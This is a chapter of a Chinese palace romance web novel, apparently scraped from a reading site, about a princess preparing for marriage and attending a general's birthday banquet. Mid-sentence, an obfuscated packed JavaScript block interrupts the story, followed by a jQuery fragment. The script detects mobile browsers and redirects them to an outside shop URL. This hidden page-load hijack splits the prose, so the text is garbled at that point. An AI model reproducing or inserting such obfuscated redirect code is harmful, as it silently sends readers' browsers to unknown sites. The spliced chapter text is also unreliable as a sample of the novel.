默认冷灰
24号文字
方正启体

12. 012

作者:青坞本书字数:K更新时间:
    对于突然开窍的妹妹,赵露仪嘴角扬起欣慰笑意,沉吟措辞后,趴在妹妹耳边,偷偷地说。


    姐妹俩闺房意趣的话,在烛光晃动的帷幔中,轻轻摇荡,荡得九公主的脸,红一阵白一阵,听着七姐的话,想象着不存在的画面,紧得心七上八下,差点晕死在榻上。


    但是她自己问的,所以她又听得很认真。


    自筹备成婚开始,她不可避免地接受这些,与其心中害怕惶恐不安,倒不如问问七姐,心里有个底,可她睁眼闭眼都是黎山温泉,根本安心不了。


    “如何才能不痛?”


    “姐姐不是给你无忧水了吗?”


    “可我怎么好拿出来啊?”


    赵令仪难以想象,成婚之夜,难不成要把无忧水塞到谢辞手里?


    那是她自己用还是谢辞帮她用?总不能提前用上吧。


    成婚,为何如此麻烦?


    “小九,你是不是还怕他啊?你是君他是臣,他理应该服侍你。”


    “哎呀。”赵令仪把脸埋在七姐肩头,隔着寝衣都能感知到妹妹发烫的脸,“哪有什么理应不理应的。”


    “七姐理解你的心情,毕竟是要跟一个人共度余生,紧张慌乱无措都实属正常。”赵露仪摸了摸妹妹的头安慰道,“你就大胆地面对他,他是驸马,自然也会受教,不会那么不知变通。”


    赵令仪露出一只眼,看了七姐一眼,慢慢地舒展四肢,有关谢辞的事,她总是莫名紧张,总要缓好一会,才能压抑住乱窜的心跳。


    “爱意都是真情流露的,你也不必担心,他若是爱你,一定是热烈又激昂,不会让你感到不安。”赵露仪抿了抿唇,这话她说得有点心虚。


    莫万臣是武将,身强体壮又不会安慰人,奈何七殿下爱屋及乌,喜欢他所有一切,每每应承看着莫万臣陶醉的模样,倒会下意识忘掉自己感受,顺水推舟与他感同身受。


    听了七姐的话,赵令仪更加担心,她可没见谢辞有多喜欢她。


    实在不行咬着牙硬着头皮,就像七姐所说,眼睛一闭一睁就好了。


    —


    三月十九,春光正浓,婚期越发地近。


    比起这个,赵令仪更烦恼的是谢辞的生辰。


    从前谢辞为人低调,也不会大操大办生辰宴,就算办也有八哥去应酬,如今两人有圣上下旨赐婚,她若是推脱怎么着也说不过去。


    可她不大了解谢辞喜好,总不能送个黑漆漆的衣袍过去,发簪也送过了,平日的生辰礼又太过普通,没法彰显九公主的特别。


    听竹的话点醒了她,谢辞是将军,倒不如送个剑穂,符合身份。


    赵令仪挑来挑去,总觉得市面上的剑穂太过于普通,倒不如亲手做来得诚心。


    丝绸流苏太常见,九公主挑了半天,最终选用孔雀羽,寓意吉祥富贵。


    由于七公主初次亲手做,甚是耗费心神,却也渐入佳境,到最后全然忘了是要送谢辞的礼物,最后成品尽显华丽富贵,雀羽本就色彩华艳似有流光,再用金丝层层缠绕,配上金玉和珍珠。


    实用性不强,观赏性极佳。


    书琴和听竹从小跟着九公主,除了学医术,可没见过她对其他事情这么上心,郝嬷嬷也夸殿下心灵手巧。


    本以为要在生辰这日才能见到谢辞,没想到前日晚太后召谢辞入宫吃团圆饭,自然还有赵令仪。


    慈宁宫内,安静和谐。


    太后礼佛,谢辞也不讲究吃食,晚膳有些清新寡淡,赵令仪也欣然接受,权当换个口味。


    太后慈祥地看向小孙女,“皇祖母宫里的饭菜清淡,想必小九吃不惯吧。”


    皇祖母偏偏挑了个她夹菜,将咽未咽的间隙说话,她未来得及答,便见皇祖母冲着谢辞说道。


    “全家太过骄纵小九,才把她口味养得如此刁。”太后笑盈盈地看向谢辞,明里挑剔小九,暗中提点谢辞。


    她当然知道靖国公府上下不敢怠慢小九,但也自然要亲自提点过方能放心。


    当然谢辞也是聪明人,很快接受提点,心领神会:“请太后放心,臣定当尽心护九公主周全。”


    “哀家啊,信你。”太后笑得合不拢嘴,拿出一个盒子,打开里面放着白玉指环,一大一小,甚是相配。


    “这个大的指环啊。是你嫡祖母留下的,是她的传家宝,想着日后你若成亲,便亲手交给你……后来她将此物交给哀家保管,既你已定亲,便交到你手上。”


    闻言谢辞起身躬身行礼:“多谢太后。”


    赵令仪用余光瞥见那白玉戒指,质地细腻温润,是上好的青山白玉打磨而成。


    工匠技艺十分精湛,这玉指环打磨得太好,厚一分庸俗,薄一分小气,也不知谢老太太是怎么预知谢辞手形,戴在中指上竟正正好。


    太后转而将另一个小的放到赵令仪手中,“这个,是皇祖母特地为你定制的,好事成双,你们两个啊,刚好凑成一对。”


    赵令仪脸一红,起身行礼,“多谢皇祖母赏赐。”


    九公主向来喜欢重工夸张的东西,服饰向来是绚烂多姿,还从未得过如此素净不掺杂的玉指环,想来竟是为了与谢辞凑成一对。


    太后笑呵呵地说:“行了行了,快起来用饭吧。”


    —


    夜已深,太后命谢辞宿在宫中,明日一早正好与八、九殿下一同去靖国公府。


    既然是太后的懿旨,谢辞当然是恭敬不如从命,又按照太后的待客之道,让小九送谢辞去宫殿休息。


    说什么待客之道,不过是为两人创造独处机会而已。


    心知肚明的二人,沉默不语地并肩前行,赵令仪走得很慢,向来疾步如风的谢辞,在浓浓夜色中,用余光瞄着身旁倩影,不禁放慢脚步。


    只要与谢辞并肩,赵令仪便会闻到那一缕若有似无的茶香,轻却难以忽视。


    熏香消散得快,除非日日勤快,但即便是十分讲究九公主也做不到如此,难道大将军竟会如此精致?


    赵令仪心里思忖着,书香世家,倒也不足为奇,她记得曾有位文臣日日熏香,被人弹劾气味太重,两人差点因此事,殿前失仪吵起来。


    但谢辞,很好闻。


    奇怪,明明他也没换香味,什么时候变得不一样了?


    “殿下。”


    一道低沉声线打断了赵令仪的回忆,一张请帖递到了她面前,她愣了一愣,双手接过。


    是谢辞生辰宴的请帖。


    赵令仪低垂着眼眸,仔细地读上面的每个字,谢辞曾做过她的教书先生,她自然认得他的字。


    况且谢辞的字并不难认,笔触很有神韵,与那些为科考一板一眼的举子不同,飘逸洒脱又整齐,很是难得。


    “将军生辰宴邀请那么多人,还亲自写请帖?”


    心思差点被戳穿的谢辞,偏头轻咳两声,军营事物繁多,他连生辰宴都懒得办,也不知谢府都邀请了哪些人,哪有时间一一亲自写请帖。


    只有眼前这张是亲自下笔,可他一贯的作风是,不可让九公主觉得他兴师动众,于是说道:“练字。”


    “哦。”还以为是专程送我的呢,后半句赵令仪想说但没说出口。


    好装,用写请帖练字。


    谢辞淡淡收回目光,好在九公主没刨根问底。


    只是即便不送请帖,九公主也会去,可他还是诚心地写了,送了。


    赵令仪看着请帖,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164328|196631||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想得出神,兴许都是讲究谢辞的话,一时心虚不察,差点绊倒,好在旁边的谢辞将她一把扶住。


    温暖有力的手,加上白玉冰凉,隔着华贵的布料,环住赵令仪纤细的胳膊,扶稳过后不紧没松反而一顿。


    胳膊与手掌的触感不同,隔着布料肌肤触碰,欲盖弥彰。


    明明是谢辞掌心传过来的温度,却没来由地烫得赵令仪心尖一颤,不由得深吸一口气,茶香更加浓郁,慌得她想逃。


    “将军!你住的宫殿到了,明日你的生辰宴,我一定准时参加!”


    赵令仪慌忙地逃窜,竟直接往谢辞的住处跑,一时间慌不择路还真是叫人看笑话,她没有片刻由于,跳出门槛,冲着谢辞尴尬一笑,跑远了。


    谢辞看着赵令仪跑远的背影,粉红裙摆鲜艳靓丽,如一簇簇绽放的花朵,花瓣无声飘落,落入他心尖,眼前竟满是适才九公主的一笑。


    连谢辞自己都未意识到的更深笑意,缓缓漫上嘴角。


    翌日清晨。


    九公主难得地起得早,装作毫不在意又兴师动众地沐浴更衣,书琴和听竹在旁边笑而不语。


    听竹:“哎,殿下穿这套绯红风团服可好?尽显尊贵,镇得住场。”


    赵令仪在戴白玉耳坠,抬眼用眼风扫了一下,“今日不好喧宾夺主,穿那套织锦白梅的吧。”


    白梅象征高洁,文人墨客最爱,难道九公主是为了融入谢家才穿这件的吗?


    没有纯粹这是所有衣裙之中,最朴素的一件,还是母后赐给她一件象牙白的织锦,为了不辜负母后好意而定制的。


    书琴和听竹相视一笑,连忙把压箱底的这件拿过来,为九公主穿好。


    八哥过来找她,赵令仪眨巴眨巴眼睛,虽未说话,但却像有下文。


    赵奉明意味深长地笑着问道:“小九,你在找谁呢?”


    回过神的赵令仪,收回目光,矢口否认,答案又明摆着:“没谁。”


    赵奉明一眼明了,即便妹妹不说,他也偏要答:“怀煦一早便回去了,毕竟是他的生辰宴,他要回去招待宾客。”


    “好啦,八哥,走不走?”


    赵令仪及时打断,这也情有可原。


    “走。”


    春日正盛,明媚阳光落在玄武街,皇家车马气势澎湃地停在谢府门前。


    赵令仪莫名有些紧张,她儿时来过一次谢府,那是与皇祖母和母后一起来为谢老太太祝寿,也仅有那一次。


    谢府与她印象中并无二致,很有文人雅客的风范,白墙上处处可见诗文,乃是历朝历代有名诗人所题著。


    以黑白色调清风雅韵的府邸,偶尔几处可见红花翠绿点缀,鱼戏莲叶间泛起涟漪,风雅中又不失意趣。


    如此春光素雅的盛景,也不去如面冠如玉的公子养眼,赵令仪先看到了谢辞美得不可方物的那张脸,随即笑容一顿,眉间为不可见地一皱。


    怎么生辰宴也着玄衣啊?


    谢辞的生辰宴是国公夫人与中丞夫人一手操办的,生辰宴如此大的阵仗,也就是德高望重的老臣才有的待遇。


    谢辞年纪轻轻便有如此,全凭他平战的军功,最重要的是,他是驸马。


    圣上赐婚的驸马爷。


    赵奉明满意地轻点头,他知道其中缘由,转眼看向自己面露惊讶的妹妹,似乎并未意识到,这一切的荣耀,其实与她有关。


    此起彼伏道贺声戛然而止,转而变成向殿下们行礼问安。


    “小九,谁做你的驸马,还真是有福气。”


    经八哥此言点拨,赵令仪有些恍然,她有那么厉害吗?


    正在想着,在跪拜声中,赵令仪抬眼见,谢辞缓缓向她走来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)